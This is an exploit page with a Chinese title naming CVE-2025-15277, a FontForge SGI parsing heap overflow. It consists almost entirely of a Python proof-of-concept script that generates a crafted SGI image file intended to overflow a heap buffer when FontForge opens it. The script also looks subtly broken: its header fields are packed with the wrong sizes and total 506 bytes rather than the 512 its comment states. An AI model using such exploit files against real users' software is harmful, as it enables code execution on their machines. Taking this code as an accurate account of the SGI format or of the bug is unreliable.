CVE-2025-15277 FontForge SGI文件解析堆缓冲区溢出远程代码执行漏洞

# CVE-2025-15277 PoC - Malicious SGI File Generator # This PoC generates a malicious SGI file that triggers heap buffer overflow in FontForge # Reference: ZDI-CAN-27920 import struct import sys def create_malicious_sgi_file(output_path): """ Create a malicious SGI file to trigger heap buffer overflow in FontForge The vulnerability exists in scanline parsing without proper length validation """ # SGI Header (512 bytes) magic = 474 # SGI magic number storage_format = 0 # VERBATIM num_channels = 1 # Single channel (grayscale) width = 256 height = 256 # Calculate a size that will cause overflow # The vulnerability is in scanline parsing - we provide data longer than expected pixel_offset = 512 # Offset to pixel data # Create SGI header sgi_header = struct.pack('>HH', magic, storage_format) sgi_header += struct.pack('>H', num_channels) sgi_header += struct.pack('>III', width, height, 1) # dimensions # Names, comment, etc. sgi_header += b'\x00' * 80 # name sgi_header += struct.pack('>I', 0) # color map sgi_header += b'\x00' * 404 # remaining header space # Calculate malicious scanline size (exceed buffer boundaries) # Normal scanline size would be width * bytes_per_channel # We craft data that overflows the heap buffer malicious_scanline_size = width * 2 # Intentionally overflow # Create malicious pixel data # This triggers buffer overflow when parsed by vulnerable code pixel_data = b'A' * (height * malicious_scanline_size) # Write the malicious SGI file with open(output_path, 'wb') as f: f.write(sgi_header) f.write(pixel_data) print(f"[+] Malicious SGI file created: {output_path}") print(f"[+] File size: {len(sgi_header) + len(pixel_data)} bytes") print(f"[+] Scanline size: {malicious_scanline_size} bytes (overflow: {malicious_scanline_size - width} bytes)") if __name__ == "__main__": output_file = "CVE-2025-15277_poc.sgi" create_malicious_sgi_file(output_file) print("\n[!] This PoC is for educational and security research purposes only.")